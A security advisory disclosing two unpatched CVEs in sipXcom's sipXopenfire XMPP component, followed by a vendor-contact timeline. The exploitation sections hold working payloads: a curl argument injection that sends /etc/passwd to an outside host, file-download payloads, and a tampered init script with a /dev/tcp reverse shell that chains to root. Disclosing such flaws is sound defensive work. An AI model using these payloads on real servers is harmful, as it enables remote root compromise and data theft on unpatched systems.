_____________________________________________________________________ ¯¯¯¯¯¯¯\__/ ༼ つ ◕_◕ ༽つ (ง'̀-'́)ง (╯°□°）╯︵ ┻━┻ ヽ(´ー｀)ノ \__/¯¯ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Product: sipXcom sipXopenfire Vendor: CoreDial Name: "sipXcom sipXopenfire XMPP message system command argument injection and insecure service file permissions RCE" Version: 21.04 and earlier Fixed: Nope, no response Link: http://download.sipxcom.org/ CVEs: CVE-2023-25355 & CVE-2023-25356 _____________________________________________________________________ ¯¯\__/ ༼ つ ◕_◕ ༽つ (ง'̀-'́)ง (╯°□°）╯︵ ┻━┻ ヽ(´ー｀)ノ \__/¯¯¯¯¯¯¯ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ TL;DR ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ CoreDial's sipXcom is a PBX server. It bundles an XMPP server component sipXopenfire, which is disabled by default. sipXopenfire is affected by an OS command argument injection vulnerability (CVE-2023-25356), which allows any user with an XMPP account to pass arbitrary arguments to a curl command. The same component is also affected by a weak file permissions vulnerability (CVE-2023-25355), affecting a service startup script which runs as root. Both issues can be chained to execute commands as the system root user. At the time of this disclosure, we have had no response from CoreDial, and neither issue has been fixed. _____________________________________________________________________ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ CVE-2023-25356: OS Command Argument Injection ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ As part of the initializePlugin() routine in sipXopenfire\presence-plugin\src\org\sipfoundry\openfire\plugin\presence\SipXOpenfirePlugin.java, an "interceptor" called DefaultMessagePacketInterceptor is registered. The DefaultMessagePacketInterceptor inspects every message that's sent through the XMPP server. If a message starts with any of the strings "@call", "@conf" or "@xfer" (referred to internally as "directives"), a related code path is taken, where the message content is processed according to what the specific directive is meant to achieve. When a message is intercepted which starts with "@call", all the text after this string is assumed to be a phone number and passed to the buildRestCallCommand() function. This function creates a long URL, which the user input is written directly into. There's no particular attempt to sanitise this input. This URL is then passed to the sendRestRequest() function, where it is appended to a curl command string. This string is then passed to Runtime.getRuntime().exec(command). Due to the inner mechanics of Runtime's exec() function, we are only able to control arguments passed to the main curl command. The constructed curl command is as follows: ``` curl -k -X POST http://[IPAddress]:[Port]/callcontroller/[callerNumber]/[controlledString]timeout=30&isForwardingAllowed=true ``` Since we can inject arbitrary arguments, we can construct a set of arguments which will read a file using the -d/--data flag, and send it over the network to us. The only limitation is that the sipXopenfire process runs as the daemon user. So we can only read files that are accessible to daemon. However, this includes potentially interesting files, like the chat history (/opt/openfire/logs/sipxopenfire-im.log) when chat logging is enabled. As proof-of-concept, the following payload will read /etc/passwd and post it to http://192.168.96.128/abc. ``` @call abc -o/tmp/test123 -d @/etc/passwd http://192.168.96.128/abc ``` We can also download files and write them to the server filesystem. The following will download the file from http://192.168.96.128/test.txt and write it to /tmp/test.txt ``` @call abc -o /tmp/dummy -o /tmp/test.txt -X GET http://192.168.96.128/test.txt -o /tmp/dummy ``` _____________________________________________________________________ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ CVE-2023-25355: Weak Service File Permissions ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ The /etc/init.d/openfire service file is owned by the daemon user and group, but runs as the root user. This gives a relatively clear path to privilege escalation. It also provides a very useful exploitation path, when chained with the curl argument injection issue. Since we can download files and write them to the filesystem, and the sipXopenfire process runs as the daemon user, we can overwrite the /etc/init.d/openfire file with a modified version. The following modified /etc/init.d/openfire will return a shell to port 4444 on 192.168.96.128 when the sipXopenfire service is (re)started. ``` #!/bin/sh # # openfire Stops and starts the Openfire XMPP service. # # chkconfig: 2345 99 1 # description: Openfire is an XMPP server, which is a server that facilitates \ # XML based communication, such as chat. # config: /opt/openfire/conf/openfire.xml # config: /etc/sysconfig/openfire # pidfile: /var/run/openfire.pid # # This script has currently been tested on Redhat, CentOS, and Fedora based # systems. # ##### # Begin setup work ##### # Initialization PATH="/sbin:/bin:/usr/bin:/usr/sbin" RETVAL=0 # Check that we are root ... so non-root users stop here. if [ "`id -u`" != 0 ]; then echo $0 must be run as root exit 1 fi su -s /bin/sh -c "bash -i >& /dev/tcp/192.168.96.128/4444 0>&1" # Get config. [ -f "/etc/sysconfig/openfire" ] && . /etc/sysconfig/openfire if [ -f "/etc/init.d/functions" ]; then FUNCTIONS_FOUND=true . /etc/init.d/functions fi # If openfire user is not set in sysconfig, set to daemon. [ -z "$OPENFIRE_USER" ] && OPENFIRE_USER="daemon" # If pid file path is not set in sysconfig, set to /var/run/openfire.pid. [ -z "$OPENFIRE_PIDFILE" ] && OPENFIRE_PIDFILE="/var/run/openfire.pid" # ----------------------------------------------------------------- # If a openfire home variable has not been specified, try to determine it. if [ -z "$OPENFIRE_HOME" -o ! -d "$OPENFIRE_HOME" ]; then if [ -d "/usr/share/openfire" ]; then OPENFIRE_HOME="/usr/share/openfire" elif [ -d "/usr/local/openfire" ]; then OPENFIRE_HOME="/usr/local/openfire" elif [ -d "/opt/openfire" ]; then OPENFIRE_HOME="/opt/openfire" else echo "Could not find Openfire installation under /opt, /usr/share, or /usr/local." echo "Please specify the Openfire installation location as variable OPENFIRE_HOME" echo "in /etc/sysconfig/openfire." exit 1 fi fi # If log path is not set in sysconfig, set to $OPENFIRE_HOME/logs. [ -z "$OPENFIRE_LOGDIR" ] && OPENFIRE_LOGDIR="${OPENFIRE_HOME}/logs" # Attempt to locate java installation. if [ -z "$JAVA_HOME" ]; then if [ -d "${OPENFIRE_HOME}/jre" ]; then JAVA_HOME="${OPENFIRE_HOME}/jre" elif [ -d "/etc/alternatives/jre" ]; then JAVA_HOME="/etc/alternatives/jre" else jdks=`ls -r1d /usr/java/j*` for jdk in $jdks; do if [ -f "${jdk}/bin/java" ]; then JAVA_HOME="$jdk" break fi done fi fi JAVACMD="${JAVA_HOME}/bin/java" if [ ! -d "$JAVA_HOME" -o ! -x "$JAVACMD" ]; then echo "Error: JAVA_HOME is not defined correctly." echo " Can not sure execute $JAVACMD." exit 1 fi # Prepare location of openfire libraries OPENFIRE_LIB="${OPENFIRE_HOME}/lib" # Prepare openfire command line OPENFIRE_OPTS="${OPENFIRE_OPTS} -DopenfireHome=${OPENFIRE_HOME} -Dopenfire.lib.dir=${OPENFIRE_LIB}" # Prepare local java class path if [ -z "$LOCALCLASSPATH" ]; then LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar" else LOCALCLASSPATH="${OPENFIRE_LIB}/startup.jar:${LOCALCLASSPATH}" fi # Export any necessary variables export JAVA_HOME JAVACMD # Lastly, prepare the full command that we are going to run. OPENFIRE_RUN_CMD="${JAVACMD} -server ${OPENFIRE_OPTS} -classpath \"${LOCALCLASSPATH}\" -jar \"${OPENFIRE_LIB}/startup.jar\"" ##### # End setup work ##### start() { OLD_PWD=`pwd` cd $OPENFIRE_LOGDIR PID=$(findPID) if [ -n "$PID" ]; then echo "Openfire is already running." RETVAL=1 return fi # Start daemons. echo -n "Starting openfire: " rm -f nohup.out su -s /bin/sh -c "nohup $OPENFIRE_RUN_CMD > $OPENFIRE_LOGDIR/nohup.out 2>&1 &" $OPENFIRE_USER RETVAL=$? echo [ $RETVAL -eq 0 -a -d /var/lock/subsys ] && touch /var/lock/subsys/openfire sleep 1 # allows prompt to return cd $OLD_PWD } stop() { # Stop daemons. echo -n "Shutting down openfire: " PID=$(findPID) if [ -n "$PID" ]; then if [ -n "$FUNCTIONS_FOUND" ]; then echo $PID > $OPENFIRE_PIDFILE # delay copied from restart killproc -p $OPENFIRE_PIDFILE -d 10 rm -f $OPENFIRE_PIDFILE else kill $PID fi else echo "Openfire is not running." fi RETVAL=$? echo [ $RETVAL -eq 0 -a -f "/var/lock/subsys/openfire" ] && rm -f /var/lock/subsys/openfire } restart() { stop sleep 10 # give it a few moments to shut down start } condrestart() { [ -e "/var/lock/subsys/openfire" ] && restart return 0 } status() { PID=$(findPID) if [ -n "$PID" ]; then echo "openfire is running" RETVAL=0 else echo "openfire is not running" RETVAL=1 fi } findPID() { echo `ps ax --width=1000 | grep openfire | grep startup.jar | awk '{print $1}'` } # Handle how we were called. case "$1" in start) start ;; stop) stop ;; restart) restart ;; condrestart) condrestart ;; reload) restart ;; status) status ;; *) echo "Usage $0 {start|stop|restart|status|condrestart|reload}" RETVAL=1 esac exit $RETVAL ``` When served as openfire.txt from a web server (in this case, on 192.168.96.128), the curl argument injection can be exploited as so to overwrite the original /etc/init.d/openfire script. ``` @call abc -o /tmp/dummy -o /etc/init.d/openfire -X GET http://192.168.96.128/openfire.txt -o /tmp/dummy ``` Once this file is overwritten, we should wait for the sipXopenfire service to be restarted. This might be from a server reboot, or from an administrator restarting the sipXopenfire service itself. When the service does restart, we will get a shell back as the root user. To make the exploitation more convenient, we could trigger the sipXopenfire service reload ourselves, if we also have credentials for the superadmin user on the sipXcom web configuration service. _____________________________________________________________________ ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Errata & Disclosure Timeline ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ These issues were found at the end of October 2022. Initial contact attempts began on November 2nd 2022. sipXcom has a Wiki page that describes how to go about reporting issues. The recommended way is to file a bug on the Jira board, while setting "the 'Security' level in the New Issue to 'Security Issue'". I created a Jira account, tried to create an issue, and could not find the "Security" level option. I also noticed that it was not possible to tag an issue with any version later than 17.04, and there had also not been any meaningful activity on the tracker since November 2021 - about a year before I started the disclosure process. Since this recommended disclosure avenue seemed dead/unreliable, I decided to directly privately approach whichever organisation was responsible for sipXcom. I tried contacting eZuce who, at the time of the initial disclosure attempt, were mentioned extensively in the Wiki. I made several attempts at contact using the eZuce contact form. In the meantime, I noticed that the release notes for the latest sipXcom release started with the sentence "CoreDial is pleased to announce the GA release of sipXcom 21.04." It appears that eZuce, who had been the previous maintainers of sipXcom, were acquired by CoreDial in 2020. This implies that communications made to sipXcom or eZuce would make their way to CoreDial. After a few weeks with no response from the sipXcom/eZuce contact forms, I tried to make direct contact on Twitter. I also included the CoreDial account in this, and all subsequent tweets. I also tried to email CoreDial directly. My first attempt to contact CoreDial directly was December 1st 2022. At the time of this disclosure, I have sent several emails to, and tweets directed at, CoreDial. In each of the tweets, CoreDial untagged themselves, and never responded. I consider all these reasonable attempts to get the attention of CoreDial. I would have much preferred that they fix the issues in sipXcom before this disclosure. However, I encountered an active lack of interest, so am also comfortable in this case fully disclosing technical details without any public fix.